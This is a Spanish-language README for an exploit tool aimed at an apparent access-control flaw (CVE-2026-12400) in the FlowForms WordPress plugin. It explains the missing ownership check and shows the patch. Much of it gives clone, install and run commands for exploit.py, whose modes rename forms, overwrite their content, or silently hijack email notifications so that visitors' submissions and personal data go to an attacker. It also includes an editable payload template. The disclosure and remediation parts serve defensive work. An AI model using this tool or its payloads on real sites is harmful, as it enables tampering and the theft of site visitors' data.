CVE-2026-12400 — FlowForms IDOR: Modificación no autorizada de formularios

Referencia directa insegura a objetos autenticada (Colaborador+) para modificación arbitraria de formularios en FlowForms ≤ 1.1.1

Resumen de la vulnerabilidad

Análisis técnico

Estudio de caso completo de caja blanca con análisis de código fuente, trazado de flujo de entrada y comparación de parches:

📄 CVE-2026-12400 Estudio de caso — Medium

Superficie de ataque

FlowForms expone dos endpoints de la API REST bajo el espacio de nombres flowforms/v1 que son vulnerables:

POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings

Ambos aceptan un {id} controlado por el usuario en la ruta URL y modifican los datos del formulario objetivo: nombre, contenido, diseño, URL de redirección y destinatarios de notificaciones por correo electrónico.

Causa raíz

Ambas rutas vulnerables comparten el mismo permission_callback defectuoso:

// Update form content / name
register_rest_route($ns, '/forms/(?P<id>\d+)', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_form'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

// Update form settings (email notifications, layout, etc.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_settings'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

edit_posts es una capacidad que poseen los Colaboradores. El parámetro {id} nunca se verifica contra la propiedad del usuario solicitante: cualquier usuario autenticado puede atacar cualquier ID de formulario en el sitio.

Flujo de ataque

Attacker (Contributor)              FlowForms REST API
        │                                   │
        │── POST /wp-login.php ────────────>│  (1) Authenticate as Contributor
        │<─ wordpress_logged_in cookie ─────│
        │                                   │
        │── GET /wp-admin/post-new.php ────>│  (2) Harvest REST nonce
        │<─ wpApiSettings.nonce ────────────│
        │                                   │
        │── GET /flowform/{id} ────────────>│  (3) Enumerate published forms
        │<─ HTTP 200 ───────────────────────│      (any accessible form is a target)
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4a) Overwrite form name / content
        │       with attacker payload ─────>│       ← no owner check
        │<─ { "success": true } ────────────│
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4b) Hijack email notifications
        │       /settings ─────────────────>│       ← attacker receives all
        │<─ { "success": true } ────────────│         future form submissions
        │                                   │
        │   All 3 attack vectors confirmed  │  (5) Name ✔  Content ✔  Email ✔

Tres vectores de ataque

El modo email es el más crítico. Tras el secuestro, cada envío al formulario de contacto de la víctima — incluyendo información de identificación personal (PII) de visitantes, mensajes y detalles de contacto — se reenvía silenciosamente a la dirección controlada por el atacante. El administrador del sitio no ve ninguna indicación del cambio.

Uso del Exploit

Requisitos previos

• Python 3.8+
• Una cuenta autenticada con al menos el rol Colaborador en el sitio objetivo

Instalación

git clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt

Modos de operación

Modificación del nombre

Renombrar cualquier formulario con contenido controlado por el atacante:

python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit name

Modificación del contenido

Sobrescribir diseño del formulario, pantallas, URL de redirección e imágenes de fondo:

python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit content

Secuestro de notificación por correo electrónico (Mayor impacto)

Redirigir todas las futuras notificaciones de envío de formularios a una dirección controlada por el atacante:

python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit email

Con proxy (Burp Suite)

python3 exploit.py \
  -u http://TARGET \
  -p http://127.0.0.1:8080 \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit email

Referencia completa de flags

Personalización de cargas útiles

Las plantillas de carga útil JSON (NAME_EDIT, CONTENT_EDIT, EMAIL_EDIT) están definidas al inicio del script. Edítelas antes de ejecutar para personalizar el contenido del ataque: cambie la dirección de correo electrónico de notificación, la URL de redirección, la imagen de fondo, el título del formulario, etc.

# Top of exploit.py

EMAIL_EDIT = json.loads("""{
    "settings": {
        "email": {
            "enabled": true,
            "notifications": {
                "1": {
                    "email": "[email protected]",   # ← change this
                    ...
                }
            }
        }
    }
}""")

Flujo de explotación

El exploit realiza tres pasos automatizados:

Paso 1 — Autenticar Inicia sesión como atacante (Colaborador) y obtiene un nonce válido de la API REST de wp-admin/post-new.php.

Paso 2 — Enumerar formularios Escanea GET /flowform/{id} en el rango de IDs especificado. Los IDs que devuelven HTTP 200 se recopilan como objetivos accesibles: son formularios publicados de cualquier usuario del sitio, incluidos administradores.

Paso 3 — Explotar Dependiendo del modo seleccionado, envía la carga útil correspondiente al endpoint REST desprotegido:

• name / content → POST /flowforms/v1/forms/{id}
• email → POST /flowforms/v1/forms/{id}/settings

El servidor acepta la solicitud y aplica la modificación sin verificar la propiedad.

Remedio

Implementación segura

// VULNERABLE — both endpoints
'permission_callback' => fn() => current_user_can('edit_posts'),

// SECURE (patched)
private function can_edit_form($form_id) {
    return current_user_can('edit_post', $form_id);
}

'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),

Referencias

• CWE-639 — Omisión de autorización mediante clave controlada por el usuario
• register_rest_route() — Documentación del desarrollador de WordPress
• current_user_can() — Documentación del desarrollador de WordPress
• Plugin FlowForms — WordPress.org

Estructura del proyecto

CVE-2026-12400-FlowForms-IDOR-Exploit/
├── exploit.py   # Polished exploit with rich UI (3 modes)
├── requirements.txt            # Python dependencies
└── README.md                   # This file

Descargo de responsabilidad

Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas e investigación educativa. El acceso no autorizado a sistemas informáticos es ilegal según las leyes aplicables en todo el mundo. El autor no asume ninguna responsabilidad por el mal uso de este software. Obtenga siempre un permiso explícito por escrito antes de probar cualquier sistema que no posea.

Autor

Phantom Hat — Investigador de seguridad independiente

• Medium: @phantom_hat
• GitHub: 0x00phantom-hat

Esta investigación se realizó como parte de la divulgación responsable de vulnerabilidades.